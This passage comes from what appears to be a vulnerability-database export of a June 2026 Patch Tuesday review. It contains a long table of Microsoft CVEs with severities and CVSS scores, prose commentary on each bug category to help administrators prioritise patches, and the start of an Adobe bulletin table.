Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "75aa174c-9daf-4928-a4fa-28a0fd63aee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48574", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    